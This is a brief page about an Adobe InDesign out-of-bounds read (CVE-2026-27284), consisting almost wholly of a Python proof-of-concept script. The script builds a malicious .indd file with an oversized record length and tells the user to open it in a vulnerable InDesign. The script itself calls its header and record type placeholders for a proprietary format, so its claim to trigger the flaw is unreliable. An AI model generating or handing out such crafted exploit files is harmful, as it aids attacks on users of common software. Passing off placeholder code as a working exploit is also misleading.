CVE-2026-27284 Adobe InDesign越界读取漏洞

# Proof of Concept (PoC) for CVE-2026-27284 # This script generates a crafted file intended to trigger the OOB Read. # Usage: python poc.py import struct def generate_malicious_file(filename): """ Generates a crafted InDesign file structure. Note: Actual InDesign file format (.indd) is complex and proprietary. This is a simplified representation to demonstrate the trigger. """ # Placeholder file header (Magic bytes) file_header = b"\x06\x06\xED\xF5\x00\x00\x00\x00" # Construct a malicious record # The size field is manipulated to force an out-of-bounds read record_type = struct.pack('<I', 0x4D4C4452) # 'MLDR' placeholder # Large size value to trigger read past end of buffer malicious_size = struct.pack('<I', 0xFFFFFFFF) # Padding data padding = b"A" * 0x100 payload = file_header + record_type + malicious_size + padding with open(filename, "wb") as f: f.write(payload) print(f"[+] Malicious file generated: {filename}") print("[+] Open this file in a vulnerable version of Adobe InDesign to reproduce the issue.") if __name__ == "__main__": generate_malicious_file("cve_2026_27284_poc.indd")